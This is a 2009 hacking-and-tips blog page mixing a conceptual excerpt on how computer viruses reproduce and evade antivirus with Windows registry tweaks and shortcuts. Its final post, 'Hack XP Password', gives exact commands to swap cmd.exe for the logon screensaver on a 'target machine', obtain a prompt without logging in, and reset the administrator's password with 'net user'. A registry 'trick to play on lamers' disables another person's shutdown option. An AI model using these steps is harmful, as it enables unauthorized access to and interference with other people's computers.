Saturday, November 7, 2009

Virus Writing

Computer Virus Basics
What is a computer virus? Simply put, it is a program that reproduces. When it is executed, it simply makes one or more copies of itself. Those copies may later be executed to create still more copies.

Typically, a computer virus attaches itself to another program, or rides on the back of another program, in order to facilitate reproduction. This approach sets computer viruses apart from other self-reproducing software because it enables the virus to reproduce without the operator’s consent. Compare this with a simple program called “1.COM”. When run, it might create “2.COM” and “3.COM”, etc., which would be exact copies of itself. Now, the average computer user might run such a program once or twice at your request, but then he’ll probably delete it and that will be the end of it. It won’t get very far. Not so, the computer virus, because it attaches itself to otherwise useful programs. The computer user will execute these programs in the normal course of using the computer, and the virus will get executed with them. In this way, viruses have gained viability on a world-wide scale.

The Structure of a Virus

Every viable computer virus must have at least two basic parts, or subroutines, if it is even to be called a virus. Firstly, it must contain a search routine, which locates new files or new disks which are worthwhile targets for infection. This routine will determine how well the virus reproduces, e.g., whether it does so quickly or slowly, whether it can infect multiple disks or a single disk, and whether it can infect every portion of a disk or just certain specific areas. As with all programs, there is a size versus functionality trade off here. The more sophisticated the search routine is, the more
space it will take up. So although an efficient search routine may help a virus to spread faster, it will make the virus bigger.

Secondly, every computer virus must contain a routine to copy itself into the program which the search routine locates. The copy routine will only be sophisticated enough to do its job without getting caught. The smaller it is, the better. How small it can be will depend on how complex a virus it must copy, and what the target is. For example, a virus which infects only COM files can get by with a much smaller copy routine than a virus which infects EXE files. This is because the EXE file structure is much more complex, so the virus must do more to attach itself to an EXE file.

In addition to search and copy mechanisms, computer viruses often contain anti-detection routines, or anti-anti-virus routines. Computer Virus Basics 15 These range in complexity from something that merely keeps the date on a file the same when a virus infects it, to complex routines that camouflage viruses and trick specific anti-virus programs into
believing they’re not there, or routines which turn the anti-virus they attack into a logic bomb itself.
Read more »

Hacking Test

This For all those who have started hacking or just have a craze for hacking . here is a cool way of testing are u eligible to enter the field of hacking.try this test . and be honest please , don't ditch yourself. u can find its solution on the net but still please don't try to find it. just check yourself how fast Ur mind can work

http://en.hacktest.net/

now after logging to this link tell me ur time needed and please don't ask for help or hint.
Read more »

Folder Options missing

Many of us sometimes find the folder options missing in windows explorer.

Here's the solution
Open Run and then type "gpedit.msc".
Now goto
User Configuration > Administrative templates > Windows Component > Windows Explorer.

Click on Windows Explorer you will find the 3rd option on the right side of screen
"Removes the Folder Option menu item from the Tools menu"

Just check it,

if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.


I hope that you will find the option after restarting windows.
Read more »

Untold Windows Tips and Secrets

To fully reap this Manual you need to have a basic understanding of the Windows Registry,
as almost all the Tricks and Tips involve this file.

WARNING: If you use Registry Editor incorrectly, you may cause serious problems that may require you to reinstall your operating system. Microsoft and 5 Star Support cannot guarantee that you can solve problems that result from using the Registry Editor incorrectly. Use Registry Editor at your own risk.

Important Note: Before you read on, you need to keep one thing in
mind. Whenever you make changes to the Windows Registry you
need to Refresh it before the changes take place. Simply press F5 to
refresh the registry and enable the changes. If this does not work Restart your system.

Exiting Windows the Cool and Quick Way

Normally it takes a hell lot of time just Shutting down Windows, you have to move your mouse to the Start Button, click on it, move it
again over Shut Down, click, then move it over the necessary option
and click, then move the cursor over the OK button and once again
(you guessed it) click.

This whole process can be shortened by creating shortcuts on the Desktop
which will shut down Windows at the click of a button.
Start by creating a new shortcut( right click
and select New> Shortcut).
Then in the command line box, type (without the quotes.)
'C:\windows\rundll.exe user.exe,exitwindowsexec'
To create a Shortcut to Restarting Windows, type the
following in the Command Line box:
'c:\windows\rundll.exe user.exe,exitwindows'
This Shortcut on clicking will shut down Windows immediately
without any Warning.


Ban Shutdowns : A trick to Play on Lamers

This is a neat trick you can play on that lamer that has a huge ego,
in this section I teach you, how to disable the Shut Down option in
the Shut Down Dialog Box.

This trick involves editing the registry,
so please make backups. Launch regedit.exe and go to :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Policies\Explorer
In the right pane look for the NoClose Key. If it is not already there
then create it by right clicking in the right pane and selecting New >
String Value.(Name it NoCloseKey ) Now once you see the
NoCloseKey in the right pane, right click on it and select Modify.
Then Type 1 in the Value Data Box.

Doing the above on a Win98 system disables the Shut Down option
in the Shut Down Dialog Box. But on a Win95 machine if the value
of NoCloseKey is set to 1 then click on the Start > Shut Down
button displays the following error message:

This operation has been cancelled due to restrictions in effect on
this computer. Please contact your system administrator.
You can enable the shut down option by changing the value of
NoCloseKey to 0 or simply deleting the particular entry i.e. deleting
NoCloseKey.

Instead of performing the above difficult to remember process,
simply save the following with an extension of .reg and add it's
contents to the registry by double clicking on it.
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio
n\Policies\Explorer] "NoClose"="1"


Take Over the Screen Saver


To activate and deactivate the screen saver whenever you want, goto the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\ScreenSavers
Now add a new string value and name it Mouse Corners. Edit this
new value to -Y-N. Press F5 to refresh the registry.
Voila! Now you can activate your screensaver by simply placing the mouse
Cursor at the top right corner of the screen and if you take the mouse to
the bottom left corner of the screen, the screensaver will
deactivate.


Deleting System Options from the Start menu

You can actually remove the Find and Run options from the start
menu by performing a simple registry hack. Again like always
Launch the registry editor and scroll down to the below key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer

Right-click on the right pane and select New, DWORD Value. Name
it NoFind.(To remove the RUN option name it NoRun). Double-click
the newly create DWORD to edit it's value and enter 1 as its value.
This will disable the FIND option of the Start Menu and will also
disable the default Shortcut key(F3 for Find.)
To restore the Run or find command modify the value of the
DWORD to 0 or simply Delete the DWORD value.
Fed Up of the boring Old Yellow Folder Icons?[Drive Icons Included]

NOTE: This trick hasn't been tried on Win98.
You can easily change the boring yellow folder icons to your own
personalized icons. Simply create a text file and copy the following
lines into it:
[.ShellClassInfo]
ICONFILE=Drive:\Path\Icon_name.extension

Save this text file by the name, desktop.ini in the folder, whose icon
you want to change. Now to prevent this file from getting deleted
change it's attributes to Hidden and Read Only by using the ATTRIB
command.
To change the icon of a drive, create a text file containing the
following lines:
[Autorun]
ICON=Drive:\Path\Icon_name.extension
Save this file in the root of the drive whose icon you want to change
and name it autorun.inf For Example, if you want to change the icon
of a floppy, SAVE THE icon in a:\icon_name.ico One can also create
a kewl icon for the Hard Disk and create a text file [autorun.inf] and store it in "c:\".


Brand XP

My new HP came loaded with an OEM version of XP on it. I noticed that they had their own icon under Run in the start menu. If you would like to brand your PC with your own clickable icon that will take you wherever you would like to go (eg: website, program), just follow the simple instructions below:

Note: This involves a registry tweak, please take all precautions by backing up your registry prior to making any changes to it.

1. Start up Notepad and insert the following information via copy and paste:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@="YOUR TITLE HERE"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]
@="YOUR ICON HERE"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\InProcServer32]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,\
64,00,6f,00,63,00,76,00,77,00,2e,00,64,00,6c,00,6c,00,00,00
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance]
"CLSID"="{3f454f0e-42ae-4d7c-8ea3-328250d6e272}"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag]
"CLSID"="{13709620-C279-11CE-A49E-444553540000}"
"method"="ShellExecute"
"Command"="YOUR TITLE HERE"
"Param1"="YOUR FUNCTION HERE"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex]

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers]

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@=""

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\MayChangeDefaultMenu]
@=""

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\ShellFolder]
"Attributes"=dword:00000000

2. Edit where it says YOUR ICON HERE to a path to an icon (ex. c:\\5staricon.ico), it must be 24x24 pixels and in *.ico format. Use double back slash for path names.

3. Edit both places where it says YOUR TITLE HERE to what you want it to say in the Start Menu (eg: 5 Star Support).

4. Edit where it says YOUR FUNCTION here to what you want it to do when you click it, it can be anything... your website, a local HTML document, a program, a Windows function, whatever your imagination can provide (eg: http://www.5starsupport.com).

5. Save this file as brand.reg, double-click it to enter in your information into the registry then refresh Explorer (log off/on) to see it in the Start Menu! This will work in both Home and Professional editions.


Lock PC by just double clicking the mouse


You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.
Read more »

XP Tips & Tricks

1.Stopping Unneeded Startup Services and Making XP boot faster !
Along with the core operating system and programs that Windows XP runs when it
starts, there is also a host of services involved. Many of these services are necessary
for Windows XP to operate correctly. However, many of them are for features in
Windows XP that you may not use at all. You can peruse the services and disable any
service that you do not want to run. The fewer services that run, the more quickly
Windows XP will boot.
To reduce the number of services that start on bootup, you can access two different
areas of Windows XP.
. The first is the System Configuration Utility. You can do that by entering the
command “msconfig” in the run menu.
Start -> Run -> “msconfig” (without quotes) || Hit Enter

The Services tab shows you the services that start when the computer
boots. You can stop a service from starting by simply clearing the check box
next to the service and clicking OK.
.However, before you do so, there is another way to disable services that you
may prefer because the interface gives you more information about the service
in question.
Open Control Panel -> Administrative Tools ->Services or
Start -> Run -> “services.msc” || Hit Enter

Take a quick look at common services you may want to live without:
Automatic Updates: This service enables Windows XP to check the Web
automatically for updates. If you don't want to use Automatic Updates, you can
disable the service.

Computer Browser: If your computer is not on a network, you don't need this service.
If you are on a network, leave it alone.

DHCP Client: If you are not on a network, you do not need this service. If you are on
a small workgroup, you can still increase boot time by configuring manual IP.

DNS Client: If you are not on a network, you do not need this service.
Error Reporting and Event Log: You don't have to use these services but they can be
very helpful, so I would leave them configured as automatic.

Fax: If you don't use your computer for fax services, you can disable this one.

IMAPI CD-Burning COM: This service enables you to burn CDs on your computer.
If you never burn CDs, you can disable the service without any second thoughts.
Indexing Service: Your computer keeps an index of all the files. But if you rarely
search for files, the service is just a resource hog. You can stop it

Windows Firewall/Internet Connection Sharing: If you do not use these features, plz
disable.

Messenger: This service sends alert messages on a local area network (it is not the
same as Windows Messenger). If you are not on a network, you can disable this
service.

Print Spooler: If you do not do any printing from the computer, you can disable this
service. If you print, make sure you leave it as automatic.

Remote Registry: This service allows remote users to modify the Registry on your
computer. If you are not on a network, you can disable this service.

System Restore Service: This service allows you to use System Restore. If you have
turned off System Restore anyway, you do not need to turn off the service.

Themes: If you do not use themes, you can disable this service.

Windows Image Acquisition: If you do not use scanners or digital cameras, you can
disable.

Wireless Zero Configuration: If do not use wireless networking devices, you can
disable.

2. Stop Error Messages from Displaying on Startup

If you constantly see an error message that you can't get rid of,for example, from a
piece of software that didn't uninstall properly and continues to give errors on
startup you can disable it from displaying on startup. Run the Registry Editor and go to
HKEY_LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Windows. (This
key holds a variety of Windows system settings, such as the location of your system
directory.) Create a new DWORD called NoPopupsOnBoot and give it a value of 1.
Exit the Registry and reboot for the setting to take effect. To disable it, either delete
the DWORD value or give it a value of 0.

3. Memory Tweak

1. Start Registry Editor (Regedit.exe) and locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\
MemoryManagement\PrefetchParameters
2.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
3. Close the registry editor and restart your computer.

4. Automatically Killing Tasks on Shutdown
You know the drill. You start to shut down the computer, you wait a few moments,
and then you see a dialog box asking if you want to kill an application or service that
is running. Instead of prompting you, you can make Windows XP take care of the kill
task automatically. Here's how:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
3. Highlight the value AutoEndTasks and change the value to 1.
4. Close the Registry Editor.

5. Resize Your Wallpaper

If you just switched to a wide-screen monitor, your desktop wallpaper image may no
longer look right, or maybe you just want to make a small adjustment to it.
For more-granular control of your wallpaper's placement, highlight the following key:
HKEY_CURRENT_USER\ControlPanel\desktop
Double-click the WallpaperOriginX icon in the right pane. (If you don't see this icon,
right-click in this pane, choose New, String Value, type WallpaperOriginX to name
the value, and press .) Type a number (in pixels) for the starting horizontal
position of your wallpaper's left edge, and press . Now double-click the
WallpaperOriginY icon (create it if necessary as explained above) and enter a number
for the starting vertical position of the image's top edge. If your wallpaper image is
larger than the screen, type a negative number (for example, -200) to push the
picture's top or left edge off the screen.
To test the effect, first minimize the Registry Editor (and any other open window),
right-click the desktop, choose Properties, and click OK or Apply to refresh the
wallpaper placement. Repeat these steps as needed until the wallpaper is positioned
correctly.The settings work whether you've set your wallpaper to be centered, tiled, or
stretched.

The Ultimate:Hack XP Password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly. Forget about the explanations as it is for the
sake of clarity purpose
Command Expalnation
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the screen
saver you will get an unprotected dos prompt with out logging into XP. Once this
happens if you enter this command minus the quotes "net user here> password"
If the Administrator Account is called Frank and you want the password blah enter
this "net user Frank blah" and this changes the password on franks machine to blah
and you should be in.
Read more »

Free Projects Download :

Free Projects Download :
Free students projects download for all.

Popular Posts( Last 7 Days )